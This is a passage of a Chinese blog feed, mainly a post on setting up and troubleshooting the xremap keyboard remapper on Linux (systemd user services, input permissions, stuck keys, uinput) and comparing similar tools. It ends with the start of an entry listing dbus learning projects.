&lt;h3 id=&quot;cong-xi-tong-fu-wu-qian-yi-dao-yong-hu-fu-wu-de-wan-zheng-cao-zuo&quot;&gt;从系统服务迁移到用户服务的完整操作&lt;&#x2F;h3&gt;
&lt;p&gt;实际迁移时的操作清单（含坑）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 停用并删除旧系统服务（同时杀掉占用键盘的 root 进程）
sudo systemctl disable --now my_keymap
sudo rm &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;my_keymap.service

# 2. 加入 input 组（&amp;#x2F;dev&amp;#x2F;uinput 由 udev 规则归 input 组，一并解决）
sudo usermod -aG input $USER

# 3. 安装用户服务并启动
bash ~&amp;#x2F;.my_local&amp;#x2F;bin&amp;#x2F;my_keymap.sh   # 生成服务文件 + enable + start

# 4. 临时方案：当前会话用户管理器未继承新组时，用 ACL 让服务立即工作
sudo setfacl -m u:$USER:rw &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event4 &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event7
systemctl --user start my_keymap

# 5. 持久方案：注销重登一次，用户管理器继承 input 组，之后无需 ACL
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意先后顺序：&lt;strong&gt;先清系统服务再加组&lt;&#x2F;strong&gt;。如果旧 root 进程还占着键盘，新服务会报 &lt;code&gt;Device or resource busy&lt;&#x2F;code&gt;；如果没加组就启动，会报 &lt;code&gt;No input devices&lt;&#x2F;code&gt;（重启循环）。两个错误按上面顺序可一次规避。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;keng-loginctl-enable-linger-hui-rang-zhu-xiao-zhong-deng-shi-xiao&quot;&gt;坑：&lt;code&gt;loginctl enable-linger&lt;&#x2F;code&gt; 会让&quot;注销重登&quot;失效&lt;&#x2F;h3&gt;
&lt;p&gt;如果开了 linger（&lt;code&gt;loginctl enable-linger&lt;&#x2F;code&gt;），用户 systemd 管理器会&lt;strong&gt;常驻不随注销重启&lt;&#x2F;strong&gt;——重登只是新建会话，管理器还是老进程，新组永远不生效（&lt;code&gt;awk &#x27;&#x2F;Groups&#x2F;&#x27; &#x2F;proc&#x2F;$(pgrep -u $USER -f &#x27;systemd --user&#x27; | head -1)&#x2F;status&lt;&#x2F;code&gt; 里一直没有 input 组）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 排查：确认 linger 状态
loginctl show-user $USER | grep -i linger   # Linger=yes 则中招

# 解决一：关掉 linger 后注销重登
sudo loginctl disable-linger $USER

# 解决二：保留 linger，直接重启用户管理器（会杀掉所有该用户的进程，包括当前会话）
sudo systemctl stop user@1000.service   # 重登后管理器自动带新组
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;判断是否需要 linger：&lt;code&gt;systemctl --user list-units&lt;&#x2F;code&gt; 看有没有真正需要注销后常驻的服务（如备份 timer）。会话级服务（gnome-keyring、pipewire、lan-mouse）不需要 linger。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;wu-qu-linger-bao-bu-zhu-cong-tu-xing-zhong-duan-pai-sheng-de-tmux&quot;&gt;误区：linger 保不住从图形终端派生的 tmux&lt;&#x2F;h3&gt;
&lt;p&gt;想靠 linger 让 tmux 在注销后存活？不行。tmux 若从 GNOME Terminal 启动，进程挂在 &lt;code&gt;user@1000.service&#x2F;app.slice&#x2F;app-org.gnome.Terminal.slice&#x2F;&lt;&#x2F;code&gt; 的 cgroup 里，注销时 GNOME Terminal 进程树被杀，tmux 随之退出，linger 拦不住。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 看 tmux 在哪个 cgroup：结果在 app.slice&amp;#x2F;app-org.gnome.Terminal.slice 下就是图形终端派生的
cat &amp;#x2F;proc&amp;#x2F;$(pgrep -x tmux | tail -1)&amp;#x2F;cgroup
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要让 tmux 注销后存活，需要&lt;strong&gt;独立于图形会话的 tmux server&lt;&#x2F;strong&gt;（如从 SSH 启动、或 server 脱离终端 daemon 化），而不是从 GNOME Terminal 里开。linger 对这类进程无能为力。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bu-xu-yao-watch&quot;&gt;不需要 &lt;code&gt;--watch&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;--watch&lt;&#x2F;code&gt; 用于常驻场景：&lt;code&gt;--watch device&lt;&#x2F;code&gt; 热插拔自动抓新设备，&lt;code&gt;--watch config&lt;&#x2F;code&gt; 改配置自动 reload。用户服务（&lt;code&gt;WantedBy=default.target&lt;&#x2F;code&gt;、无 linger）注销时随会话停止、重登后全新进程重新枚举 &lt;code&gt;&#x2F;dev&#x2F;input&lt;&#x2F;code&gt;，不存在&quot;残留旧 input fd&quot;的问题，无需 &lt;code&gt;--watch&lt;&#x2F;code&gt;。改配置用 &lt;code&gt;my_keymap.sh&lt;&#x2F;code&gt; 重启即可（等价于 &lt;code&gt;--watch config&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mian-zhu-xiao-rang-xin-zu-li-ji-sheng-xiao-acl-fang-an&quot;&gt;免注销让新组立即生效（ACL 方案）&lt;&#x2F;h3&gt;
&lt;p&gt;不想注销时，可直接给键盘设备节点加 ACL（服务进程按 uid 匹配 ACL，不依赖组）。&lt;strong&gt;只对当前设备节点有效&lt;&#x2F;strong&gt;，重启&#x2F;重插键盘后失效，仅作临时手段。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo setfacl -m u:$USER:rw &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event4 &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event7
systemctl --user start my_keymap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;keng-supplementarygroups-dui-yong-hu-fu-wu-wu-xiao&quot;&gt;坑：&lt;code&gt;SupplementaryGroups=&lt;&#x2F;code&gt; 对用户服务无效&lt;&#x2F;h3&gt;
&lt;p&gt;在用户服务里写 &lt;code&gt;SupplementaryGroups=input&lt;&#x2F;code&gt; 会报 &lt;code&gt;status=216&#x2F;GROUP&lt;&#x2F;code&gt;（&lt;code&gt;Changing group credentials failed: Operation not permitted&lt;&#x2F;code&gt;）。原因是用户管理器非 root，无权 &lt;code&gt;setgroups()&lt;&#x2F;code&gt; 给自己加它没有的组（只能丢弃组）。这个指令只对&lt;strong&gt;系统服务&lt;&#x2F;strong&gt;有效。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;can-liu-root-jin-cheng-zhan-jian-pan-device-or-resource-busy&quot;&gt;残留 root 进程占键盘 → &lt;code&gt;Device or resource busy&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;曾用 root 系统服务跑 xremap，改用户服务后忘记清理，旧 root 进程一直 EVIOCGRAB 占着物理键盘，新用户服务启动时报：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Error: Device or resource busy (os error 16). Another program might have grabbed the device: &amp;#x27;SEMICO USB Gaming Keyboard&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;解决：&lt;code&gt;sudo systemctl disable --now my_keymap&lt;&#x2F;code&gt; 停掉旧服务、删 &lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;systemd&#x2F;system&#x2F;my_keymap.service&lt;&#x2F;code&gt; 后，新服务即可正常抓键盘。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gnome-wayland&quot;&gt;GNOME Wayland&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Install xremap&#x27;s GNOME Shell extension from this link, switching OFF to ON.&lt;&#x2F;li&gt;
&lt;li&gt;If you use sudo to run xremap, also click here.&lt;&#x2F;li&gt;
&lt;li&gt;Update &#x2F;usr&#x2F;share&#x2F;dbus-1&#x2F;session.conf as follows, and reboot your machine.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;   &amp;lt;policy context=&amp;quot;default&amp;quot;&amp;gt;
+    &amp;lt;allow user=&amp;quot;root&amp;quot;&amp;#x2F;&amp;gt;
     &amp;lt;!-- Allow everything to be sent --&amp;gt;
     &amp;lt;allow send_destination=&amp;quot;*&amp;quot; eavesdrop=&amp;quot;true&amp;quot;&amp;#x2F;&amp;gt;
     &amp;lt;!-- Allow everything to be received --&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;example&quot;&gt;example&lt;&#x2F;h2&gt;
&lt;p&gt;This allows a key to be held indefinitely without triggering its held state, which is ideal for keys that also serve as modifiers. For example, you can make the Space key act as Shift when held and combined with another key, but still type a regular Space when tapped.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yml&quot; class=&quot;language-yml &quot;&gt;&lt;code class=&quot;language-yml&quot; data-lang=&quot;yml&quot;&gt;modmap:
  - name: Space as Shift
    remap:
      Space:
        held: Shift_L
        alone: Space
        free_hold: true # Optional, defaults to false.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;wen-ti-pai-cha&quot;&gt;问题排查&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 普通用户执行要求
sudo usermod -aG input $USER

# 创建 udev 规则： 新建文件 &amp;#x2F;etc&amp;#x2F;udev&amp;#x2F;rules.d&amp;#x2F;99-input.rules，内容如下：
KERNEL==&amp;quot;uinput&amp;quot;, GROUP=&amp;quot;input&amp;quot;, MODE=&amp;quot;0660&amp;quot;

sudo udevadm control --reload-rules &amp;amp;&amp;amp; sudo udevadm trigger

# 查找你的键盘设备 寻找 Name=&amp;quot;...Keyboard...&amp;quot; 的条目，记下它的 Handlers（例如 event3）
cat &amp;#x2F;proc&amp;#x2F;bus&amp;#x2F;input&amp;#x2F;devices

&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.cargo&amp;#x2F;bin&amp;#x2F;xremap &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;tools&amp;#x2F;dotfiles&amp;#x2F;keymap.yml --device &amp;#x2F;dev&amp;#x2F;input&amp;#x2F;event3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cuo-wu-ju-li&quot;&gt;错误举例&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;如果 xremap 以错误权限启动并崩溃，它可能已经打开了虚拟设备但没有正常关闭，导致 GNOME 认为有一个“死键”一直被按下。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xremap-hui-chuang-jian-yi-ge-ming-wei-xremap-de-xu-ni-jian-pan-ru-guo-cheng-xu-beng-kui-liao-dan-she-bei-huan-zai-gnome-hui-ji-xu-chang-shi-cong-zhe-ge-jiang-shi-she-bei-du-qu-shu-ru&quot;&gt;xremap 会创建一个名为 xremap 的虚拟键盘。如果程序崩溃了但设备还在，GNOME 会继续尝试从这个“僵尸”设备读取输入&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;lsinput
# 或者使用更通用的命令
grep -E &amp;#x27;Name|Handlers&amp;#x27; &amp;#x2F;proc&amp;#x2F;bus&amp;#x2F;input&amp;#x2F;devices
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;寻找关键字： 在输出中找名称包含 &quot;xremap&quot; 的设备。&lt;&#x2F;li&gt;
&lt;li&gt;判断异常： 如果 xremap 进程已经杀掉了，但 xremap 虚拟设备依然出现在列表中，说明设备未正常卸载，这通常就是导致 GNOME 异常的元凶。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;shi-yong-libinput-jian-kong-shi-shi-shi-jian&quot;&gt;使用 libinput 监控实时事件&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;你可以实时观察到底是哪个设备在“发疯”（比如不停发送 Ctrl 信号）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo libinput debug-events
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;观察输出： * 如果你没有按键，但屏幕滚动显示 KEY_LEFTCTRL 或 KEY_RIGHTALT 的 pressed 事件，说明存在“死键”。&lt;&#x2F;li&gt;
&lt;li&gt;看输出条目左侧的设备名称。如果是来自 xremap 设备，说明是驱动层模拟出的问题；如果是来自你的物理键盘，说明物理设备可能被锁死在了按下状态&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;pai-cha-she-bei-suo-si-eviocgrab&quot;&gt;排查设备“锁死”（EVIOCGRAB）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;xremap 运行时会“抓取”物理键盘。如果它崩溃时没有释放抓取权限，物理键盘的信号就无法到达 GNOME，导致你感觉键盘“失灵”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ps aux | grep xremap
sudo killall -9 xremap
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通常进程结束后，内核会自动释放设备抓取。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kuai-su-hui-fu-shou-duan&quot;&gt;快速恢复手段&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;如果你正处于“环境异常”（键盘乱跳或没反应）中，尝试以下组合拳：&lt;&#x2F;li&gt;
&lt;li&gt;拔插键盘： 如果是外接键盘，拔掉重插可以强制重置内核对该设备的输入状态。&lt;&#x2F;li&gt;
&lt;li&gt;强制销毁虚拟设备： 如果 xremap 已经退出但设备还在，尝试移除 uinput 模块（慎用，仅在没反应时尝试）：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo modprobe -r uinput &amp;amp;&amp;amp; sudo modprobe uinput
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;重启 GNOME Shell：&lt;&#x2F;li&gt;
&lt;li&gt;X11 环境： 按 Alt + F2，输入 r 然后回车。&lt;&#x2F;li&gt;
&lt;li&gt;Wayland 环境： 只能通过登出（Log out）并重新登录来重置输入状态。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zhong-ji-shou-duan-zhong-zhi-uinput-zi-xi-tong&quot;&gt;终极手段：重置 uinput 子系统&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 卸载并重载 uinput 模块（需 root，会断开所有虚拟输入设备）
sudo rmmod uinput
sudo modprobe uinput
# 此操作会使所有依赖 uinput 的程序（如 xremap、keyd、interception-tools）失效，需重启它们
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qiang-zhi-shi-fang-suo-you-qia-zhu-de-xiu-shi-jian-zui-chang-yong-zui-you-xiao&quot;&gt;强制释放所有“卡住”的修饰键（最常用、最有效）&lt;&#x2F;h2&gt;
&lt;p&gt;在 GNOME&#x2F;X11 下，模拟释放所有修饰键即可快速恢复：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 方法 1：使用 xdotool（推荐）
xdotool keyup Shift_L Shift_R Control_L Control_R Alt_L Alt_R Super_L Super_R

# 方法 2：使用 xte（来自 xautomation 包）
xte &amp;#x27;keyup Shift_L&amp;#x27; &amp;#x27;keyup Control_L&amp;#x27; &amp;#x27;keyup Alt_L&amp;#x27; &amp;#x27;keyup Super_L&amp;#x27;

# 方法 3：重启输入法&amp;#x2F;IM 框架（有时 IBus&amp;#x2F;Rime 会缓存按键状态）
ibus restart
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zai-gnome-wayland-hui-hua-zhong-xdotool-ke-neng-shi-xiao-yin-fei-x11-hou-duan-ci-shi&quot;&gt;在 GNOME Wayland 会话中，xdotool 可能失效（因非 X11 后端），此时：&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;Ctrl+Alt+F3 → 登录 → Ctrl+Alt+F1（或 F2）回到 GNOME
# 这会强制重置输入栈。

# 重启 GNOME Shell（不注销）：
# 在 GNOME 中按 Alt+F2，输入：
r
# 或终端执行
busctl --user call org.gnome.Shell &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;Shell org.gnome.Shell Eval s &amp;#x27;global.reexec_self()&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-jian-jian-ting&quot;&gt;事件监听&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install evtest
# 列出所有 X 输入设备
xinput list

# 查找类似 “xremap virtual keyboard” 的设备
xinput list --short | grep -i remap

# 若找到，检查其按键状态（需 evtest）
sudo evtest
# → 选择对应设备编号，观察是否有持续的 KEY_XXX (code xxx) DOWN 事件

# xremap 默认创建一个 uinput virtual device，名字可能为 xremap virtual keyboard 或类似。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xremap-de-shi-xian-yuan-li&quot;&gt;xremap 的实现原理&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;xremap&lt;&#x2F;code&gt; 的工作流程可以分为：&lt;strong&gt;拦截 (Grab) -&amp;gt;&lt;&#x2F;strong&gt;  &lt;strong&gt;转换 (Remap) -&amp;gt;&lt;&#x2F;strong&gt;  &lt;strong&gt;重发 (Emit)&lt;&#x2F;strong&gt; 。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-lan-jie-ceng-evdev-eviocgrab&quot;&gt;1. 拦截层 (evdev + EVIOCGRAB)&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;读取：&lt;&#x2F;strong&gt;  Linux 内核通过 &lt;code&gt;&#x2F;dev&#x2F;input&#x2F;event*&lt;&#x2F;code&gt; 暴露出原始的输入事件。&lt;code&gt;xremap&lt;&#x2F;code&gt; 启动后，会打开你的物理键盘设备文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;独占锁：&lt;&#x2F;strong&gt;  这是关键。它会对物理键盘调用 &lt;code&gt;ioctl(fd, EVIOCGRAB, 1)&lt;&#x2F;code&gt;。这会告诉内核：“除了我，谁也不要把这个键盘的事件发给别人”。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;结果：&lt;&#x2F;strong&gt;  此时你按下键盘，GNOME 或 X11 是接收不到任何信号的，信号全被 &lt;code&gt;xremap&lt;&#x2F;code&gt; 截获了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-luo-ji-zhuan-huan-ceng-logic&quot;&gt;2. 逻辑转换层 (Logic)&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xremap&lt;&#x2F;code&gt; 内部维护一个状态机。当你按下 $Alt\_R$ 时，它不会立即动作，而是根据你的配置文件（如 &lt;code&gt;application&lt;&#x2F;code&gt; 过滤）检查当前活跃窗口。&lt;&#x2F;li&gt;
&lt;li&gt;在 &lt;strong&gt;Wayland&lt;&#x2F;strong&gt; 下，它通过特定的合成器协议或 GNOME 扩展获取窗口信息；在 &lt;strong&gt;X11&lt;&#x2F;strong&gt; 下，它通过 Xlib 获取 &lt;code&gt;_NET_ACTIVE_WINDOW&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;3-zhong-fa-ceng-uinput&quot;&gt;3. 重发层 (uinput)&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;虚拟设备：&lt;&#x2F;strong&gt;  &lt;code&gt;xremap&lt;&#x2F;code&gt; 调用 &lt;code&gt;&#x2F;dev&#x2F;uinput&lt;&#x2F;code&gt; 模块，在系统中注册一个全新的&lt;strong&gt;虚拟键盘&lt;&#x2F;strong&gt;（通常名字就叫 &lt;code&gt;xremap&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;转换输出：&lt;&#x2F;strong&gt;  当它拦截到 $Alt\_R$ 并判断需要映射时，它会向 &lt;code&gt;uinput&lt;&#x2F;code&gt; 设备写入 $Control\_L$ 的事件序列。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;接收：&lt;&#x2F;strong&gt;  GNOME 看到的是来自这个“虚拟键盘”的 $Control\_L$ 信号，从而执行相应的操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;lei-si-gong-ju&quot;&gt;类似工具&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;https:&#x2F;&#x2F;github.com&#x2F;jtroo&#x2F;kanata&lt;&#x2F;li&gt;
&lt;li&gt;https:&#x2F;&#x2F;github.com&#x2F;kmonad&#x2F;kmonad&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;loadkeys-console-keymap&quot;&gt;loadkeys（console keymap）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;这是 Linux 控制台专用 的键盘映射。&lt;&#x2F;li&gt;
&lt;li&gt;dumpkeys &amp;gt; keymap.map&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 编辑 keymap.map
sudo loadkeys keymap.map
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;直接作用在 VT&lt;&#x2F;li&gt;
&lt;li&gt;内核级&lt;&#x2F;li&gt;
&lt;li&gt;稳定&lt;&#x2F;li&gt;
&lt;li&gt;不支持复杂逻辑&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;kbd-console-setup&quot;&gt;kbd &#x2F; console-setup&lt;&#x2F;h2&gt;
&lt;p&gt;用于&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;服务器&lt;&#x2F;li&gt;
&lt;li&gt;rescue&lt;&#x2F;li&gt;
&lt;li&gt;initramfs&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo dpkg-reconfigure keyboard-configuration
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qi-ta-lei-si-xiang-mu&quot;&gt;其他类似项目&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;架构&lt;&#x2F;th&gt;&lt;th&gt;Wayland&lt;&#x2F;th&gt;&lt;th&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;xremap&lt;&#x2F;td&gt;&lt;td&gt;evdev + uinput&lt;&#x2F;td&gt;&lt;td&gt;⚠️&lt;&#x2F;td&gt;&lt;td&gt;YAML，灵活&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;keyd&lt;&#x2F;td&gt;&lt;td&gt;evdev + uinput&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;稳定、简单&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;kmonad&lt;&#x2F;td&gt;&lt;td&gt;evdev + uinput&lt;&#x2F;td&gt;&lt;td&gt;⚠️&lt;&#x2F;td&gt;&lt;td&gt;Lisp DSL&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;interception-tools&lt;&#x2F;td&gt;&lt;td&gt;evdev&lt;&#x2F;td&gt;&lt;td&gt;⚠️&lt;&#x2F;td&gt;&lt;td&gt;管道式&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;setxkbmap&lt;&#x2F;td&gt;&lt;td&gt;XKB&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;最稳&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xmodmap&lt;&#x2F;td&gt;&lt;td&gt;X11&lt;&#x2F;td&gt;&lt;td&gt;❌&lt;&#x2F;td&gt;&lt;td&gt;已过时&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Karabiner (macOS)&lt;&#x2F;td&gt;&lt;td&gt;HID&lt;&#x2F;td&gt;&lt;td&gt;✅&lt;&#x2F;td&gt;&lt;td&gt;架构标杆&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;路线 A：evdev + uinput（xremap 路线）
&lt;ul&gt;
&lt;li&gt;做系统级 remap&lt;&#x2F;li&gt;
&lt;li&gt;不依赖 Wayland 应用识别&lt;&#x2F;li&gt;
&lt;li&gt;能接受 input 权限&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;路线 B：XKB 层（最稳）
&lt;ul&gt;
&lt;li&gt;不抓设备&lt;&#x2F;li&gt;
&lt;li&gt;改的是 键位语义&lt;&#x2F;li&gt;
&lt;li&gt;compositor 原生支持&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;路线 C：Wayland Compositor 插件（最干净）
&lt;ul&gt;
&lt;li&gt;在 compositor 内部改键&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>dbus 工具</title>
        <published>2025-12-23T20:24:10+08:00</published>
        <updated>2025-12-23T20:24:10+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/12/dbus 工具/"/>
        <id>https://vercel.juzhong.asia/2025/12/dbus 工具/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/12/dbus 工具/">&lt;h1 id=&quot;xue-xi-xiang-mu&quot;&gt;学习项目&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;zbus https:&#x2F;&#x2F;github.com&#x2F;z-galaxy&#x2F;zbus&lt;&#x2F;li&gt;
&lt;li&gt;pydbus https:&#x2F;&#x2F;github.com&#x2F;LEW21&#x2F;pydbus&lt;&#x2F;li&gt;
&lt;li&gt;python-dbus-next https:&#x2F;&#x2F;github.com&#x2F;altdesktop&#x2F;python-dbus-next&lt;&#x2F;li&gt;
&lt;li&gt;pystemd https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;pystemd&lt;&#x2F;li&gt;
&lt;li&gt;bluez-test https:&#x2F;&#x2F;github.com&#x2F;bluez&#x2F;bluez&#x2F;tree&#x2F;master&#x2F;test&lt;&#x2F;li&gt;
&lt;li&gt;Ulauncher https:&#x2F;&#x2F;github.com&#x2F;Ulauncher&#x2F;Ulauncher&lt;&#x2F;li&gt;
&lt;li&gt;busctl https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;tree&#x2F;main&#x2F;src&#x2F;busctl&lt;&#x2F;li&gt;
&lt;li&gt;xdg-desktop-portal https:&#x2F;&#x2F;github.com&#x2F;flatpak&#x2F;xdg-desktop-portal&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
